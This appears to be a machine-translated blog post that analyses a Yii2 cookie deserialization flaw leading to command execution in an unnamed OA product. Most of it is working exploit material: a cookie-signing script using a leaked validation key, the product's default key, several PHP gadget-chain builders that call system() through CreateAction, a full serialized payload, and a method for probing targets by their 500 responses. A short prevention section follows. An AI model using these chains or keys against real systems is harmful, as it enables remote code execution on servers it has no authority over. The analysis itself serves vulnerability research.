Preface
A certain Da OA that has recently been circulated on the Internet has a PHP deserialization vulnerability, leading to command execution. Because the bottom layer of this vulnerability is a vulnerability in the Yii2 framework, we have built a Yii2 framework environment and conducted simulation research in the Yii2 framework environment, hoping to achieve the purpose of drawing inferences from one example and analogy analysis and learning. This cookie deserialization vulnerability is a general vulnerability. If the Yii2 framework is used for application development, if the cookieValidationKey value in config/web.php is leaked, and it meets the specific Yii2 vulnerability version and the PHP version is less than 7, then this may exist Deserialization vulnerability, leading to malicious code execution. The author's ability is limited. If there is any inappropriate understanding, I hope the masters will criticize and correct me!
1. Deserialization entry and conditions
1.hash verification data
The parameters we submitted at the cookie are sent to thisvalidateData method, where the content of $data will be split. During this period, it underwent a hash value verification. As long as we use the encryption algorithm and key it provides to encrypt and generate data, it will pass all verifications and then enter the **return $pureData;**
link we expect.
The source code is as follows:
public function validateData($data, $key, $rawHash = false)
{
$test = @hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength = StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >= $hashLength) {
$hash = StringHelper::byteSubstr($data, 0, $hashLength);
$pureData = StringHelper::byteSubstr($data, $hashLength, null);
$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);
if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}
return false;
}
2.php version restrictions
The above validateData method, after returning the result, returns toloadCookies method. There is a deserialization entry here, which is the content of the else branch in the figure below. The deserialization data obtained by our previous method will enter our deserialization entry (note that allowed_classes is set to false, then during the deserialization process No objects are created, only basic data types are restored, such as strings, integers, arrays, etc.). So we can find that to perform this deserialization operation in the default environment of the Yii2 framework, there are restrictions on the PHP version. As shown below, we can find thatPHP_VERSION_ID in our version requires It must be less than 70000 to reach the deserialization entry we expect.
The source code is as follows:
protected function loadCookies()
{
$cookies = [];
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey == '') {
throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
}
foreach ($_COOKIE as $name => $value) {
if (!is_string($value)) {
continue;
}
$data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data === false) {
continue;
}
if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
$data = @unserialize($data, ['allowed_classes' => false]);
} else {
$data = @unserialize($data);
}
......
}
} else {
......
}
return $cookies;
}
Below we first directly display the vulnerability exploitation results. We can see from the call stack that our deserialization process is already underway. Eventually the computer popped up to verify that the vulnerability indeed existed.
The run method is as follows:
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
2. CookieValidationKey value in config/web.php
entrance we observed that in the validateData method we need to perform a hash calculation on our own deserialized data, and then splice the hash value in front of our url-encoded deserialized data, and then attach it to the cookie Send in. To calculate the hash here, we need to use our cookieValidationKey value, which we need to set in config/web.phpSearch for cookieValidationKey value in .
For example, "demo2" in the picture below:
We have mastered the encryption key and encryption method, so we can write the deserialized data we want to use. The following is a simply writtencookie encryptionprogram:
<?php
//$_GET 来获取通过 GET 请求传递的参数时,PHP 会自动对这些参数进行一次 URL 解码;
$data=$_GET['data'];
$key = "demo2";
$macHash = "sha256";
$rawHash=false;
$hmac = hash_hmac($macHash, $data, $key, $rawHash);
//使用php自身的hash_hmac方法计算数据在sha256算法下的hash值;
echo "-----------------payload---------------";
$encodedata=urlencode($data);
echo '<br/>';
echo $hmac.$encodedata;
The effect is as follows:
3. Extract deserialized data from cookies
Looking at the previous deserialization entries and conditions, we will conduct a more detailed study here to see how our deserialization data is extracted. The following **$test value can be regarded as test data. There is no input. The purpose is actually to output the length of the encrypted data after applying the macHash algorithm. This length is used to split the submitted data in our cookie.
We submit two parts, the deserialized data and the hash value encrypted by the hash_hmac method in front of it. The hash length calculated from the test data is 64, then the first 64 characters of in the data submitted by the cookie will be assigned to h a s h , and then the remaining Assign the value to hash, and then assign the remaining value tohash, and then assign the remaining values to pureData. (I need to note that the $data data obtained here will be decoded once by the default urldecode.)
Finally compare whether the submitted hash value is consistent with the calculated $pureDatahash value. If they are consistent, we will enter the step we expect.
4. Regarding some chains requiring PHPSESSID
Case description: Some deserialized data requires us to addPHPSESSID, such as the following exploit chain:
yii\db\BatchQueryResult->yii\web\DbSession->yii\rest\CreatAction
The deserialization process will trigger the verification of the PHPSESSID status. Only if the PHPSESSID is included can the command be executed successfully. Let’s look at a set of comparison pictures first. The first picture adds PHPSESSID and enters the composeFields method; on the contrary, the second picture jumps directly to the end. Then naturally there will be results that we did not expect. The following two comparison pictures:
Let’s take a look at the reason for thisgetIsActive method:
public function getIsActive()
{
$value=session_status();
//$value=2; PHP_SESSION_ACTIVE值为2
return $value === PHP_SESSION_ACTIVE;
}
define('PHP_SESSION_ACTIVE', 2);
If there is no cookie added to the PHPSESSID, then let's look at the picture:
Therefore, false will be returned, and we cannot enter the statement whose condition is true.
In short, we need to add PHPSESSID to all chains in the deserialization chain that will call the getIsActive method.
5. Determine the possibility of chain existence through 500 status
500 status is a necessary condition for judging the existence of a chain. It will mean that the class used by our deserialized data can be called. Through the 500 status, we can judge that the targetmay exist Utilize the chain. We can test from the deserialization starting point. (Note: Blind typing through the 500 status code can deal with applications that use different vulnerable components, and can assist us in developing POC detection tools. Therefore, the premise is that the test target needs to be the vulnerable Yii2 framework version.)
The judgment process is shown in the following case:
<?php
namespace yii\db {
//use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = "new DbSession()";
}
}
}
namespace {
use yii\db\BatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));
}
?>
Returns 500, then we can continue testing:
<?php
namespace yii\web {
//use yii\rest\CreateAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback="[(new CreateAction),\"run\"]";
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}
namespace {
use yii\db\BatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));
}
?>
It is 500 again, and we continue to conduct the payload test. By the following test, we have tested a chain.
<?php
namespace yii\rest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc";
}
}
}
namespace yii\web {
use yii\rest\CreateAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback=[(new CreateAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}
namespace {
use yii\db\BatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));
}
?>
This idea can be used to generate ourpayload detection tool to find deserialization chains that can be exploited.
6. Observe the deserialization vulnerability of a certain daoa
Because **/general/appbuilder/web/portal/gateway/? this path will use the cookie processing method of Yii2 introduced above, so there is Yii2 For the deserialization entry, after obtaining the cookieValidationKey value in config/web.php of a certain oa, we can construct our payload for attack. In the public POC, it can be observed that a certain oa's own tdAuthcode encryption and decryption function is used to encrypt the payload**, thereby bypassing some defense detection.
Someda oaThe default key is "tdide2", which is used to encrypt the exploit chain. We submit the deserialized data in the cookie and use the 500 status mentioned above to judge whether this chain exists. However, thesystem function should be disabled, and it needs to be detected using POC published online.
The following is a chain tested:
<?php
namespace yii\rest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess= "system";
$this->id = "calc";
}
}
}
namespace yii\base{
use yii\rest\CreateAction;
class Component{
private $_behaviors;
private $_events;
public function __construct(){
$this->_behaviors = 1;
$this->_events =array("afterOpen"=>array(array([(new CreateAction),"run"])));
}
}
}
namespace yii\redis {
use yii\base\Component;
class Connection extends Component{
public $hostname;
public $port;
public $redisCommands;
public $password;
public $database;
public $_socket;
public function __construct() {
$this->hostname = "127.0.0.1";
$this->port = 135;
$this->redisCommands = ["CLOSE CURSOR"];
$this->_socket = false;
parent::__construct($_events);
parent::__construct($_behaviors);
}
}
}
namespace yii\db {
use yii\redis\Connection;
class DataReader {
private $_statement;
public function __construct() {
$this->_statement = new Connection();
}
}
}
namespace yii\db {
use yii\db\DataReader;
class BatchQueryResult {
public $db;
public $query;
public $each;
private $_dataReader;
public function __construct() {
$this->_dataReader = new DataReader();
}
}
}
namespace {
use yii\db\BatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));
}
?>
The serialization code is as follows:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A4%3A%7Bs%3A2%3A%22db%22%3BN%3Bs%3A5%3A%22query%22%3BN%3Bs%3A4%3A%22each%22%3BN%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A135%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A7%3A%22_socket%22%3Bb%3A0%3Bs%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A4%3A%22calc%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D%7D
O:23:"yii\db\BatchQueryResult":4:{s:2:"db";N;s:5:"query";N;s:4:"each";N;s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\db\DataReader":1:{s:29:"yii\db\DataReader_statement";O:20:"yii\redis\Connection":8:{s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:135;s:13:"redisCommands";a:1:{i:0;s:12:"CLOSE CURSOR";}s:8:"password";N;s:8:"database";N;s:7:"_socket";b:0;s:30:"yii\base\Component_behaviors";i:1;s:27:"yii\base\Component_events";a:1:{s:9:"afterOpen";a:1:{i:0;a:1:{i:0;a:2:{i:0;O:21:"yii\rest\CreateAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:4:"calc";}i:1;s:3:"run";}}}}}}}
Comment, 讨论一下,**$this->redisCommands = ["CLOSE CURSOR"];**
.
Because if we useyii\redis\Connection class for transfer, then **$this->redisCommands This parameter is very critical. Studying this parameter can help us find other exploit chains, so I will explain it here[“CLOSE CURSOR”]< a i=5>. Let's observe below. When the call stack reaches yii\db\DataReader->close(), the yii\redis\Connection class will be called. closeCursor method**.
Since the yii\redis\Connection class does not have a closeCursor method but does have a **__call magic method, it can be observed that the following value is passed, and closeCursor is assigned to$name**.
camel2words方法:
public static function camel2words($name, $ucwords = true)
{
$label = mb_strtolower(trim(str_replace([
'-',
'_',
'.',
], ' ', preg_replace('/(?<!\p{Lu})(\p{Lu})|(\p{Lu})(?=\p{Ll})/u', ' \0', $name))), self::encoding());
return $ucwords ? StringHelper::mb_ucwords($label, self::encoding()) : $label;
}
Let ChatGPT analyze it directly:
This code is a PHP function that converts a camelCase-named string into a human-readable combination of words, optionally capitalizing the first letter of the result. Here is a detailed analysis of the code:
Function name: camel2words
The name of this function indicates that it converts camelCase names into word combinations.
parameter:
$name: CamelCase named string to be converted.
$ucwords: A Boolean value indicating whether to capitalize the first letter of the result (default is true).
Function body:
The first line of code defines a variable $label to store the converted string.
The mb_strtolower function is used to convert a string to lowercase. The trim function is used to remove spaces from both ends of a string.
The str_replace function is used to replace some specific characters (such as dashes, underscores, dots) in a string with spaces to separate them.
The preg_replace function uses regular expressions to handle camelCase naming. It separates uppercase letters via regular expressions and adds spaces in front of them for subsequent processing.
The following lines perform multiple steps of string processing on $name, resulting in a combination of words separated by spaces.
return value:
If the $ucwords parameter is true, the StringHelper::mb_ucwords function is called to convert the first letter of each word in the converted word combination to uppercase and returns the result.
If the $ucwords parameter is false, the converted lowercase word combination is returned directly.
In short, the function of this function is to convert the camel case string into a human-readable word combination for easy display to the user. At the same time, you can choose whether to capitalize the first letter of the result to adapt to different formatting requirements. Note that in order to handle multi-byte characters, the function uses the mb_strtolower and StringHelper::mb_ucwords functions.
So from the above code demonstration, we can see that if we want to use another exploit chain, we need to find a link containing the form $this->_statement->closeCursor();
Class of statement. Since the camel2words method will be called to process the n a m e parameter of the __call method of the yii\redis\Connection class, we need to base it on the name parameter we found, so we need to base it on the name parameter, so we need to customize $this based on the name parameter we found -> The value of redisCommands to enter the method we expect. (closeCursor——Processing method——> ["CLOSE CURSOR"])
If the $name parameter you set can successfully pass the conditional statement, enter theexecuteCommand method, and the follow-up will be smooth as we expect. Perform code execution.
7. How can we prevent it?
- For this vulnerability, you need to know the cookieValidationKey value in config/web.php. This value will be used to encrypt the deserialized data, so if we want to prevent it, we have to Protect our cookieValidationKey value to avoid information leakage, default values, etc. that may cause the cookieValidationKey value to be obtained.
- In the Yii2 framework, by default, PHP_VERSION_ID<70000 is required to enter the deserialization utilization point, so we can ensure that our systemphp version is a higher version (greater than 7 ).
- EnsureYii2 framework historical vulnerability patches are applied.
Due to limited space, only part of the information is displayed. You need to click the link below to obtain it
CSDN gift package: "Hacker & Network Security Introduction & Advanced Learning Resource Package" Share for free
![](https://img-blog.csdnimg.cn/img_convert/a9aa704bb8838169d71e07d42c397a42.png)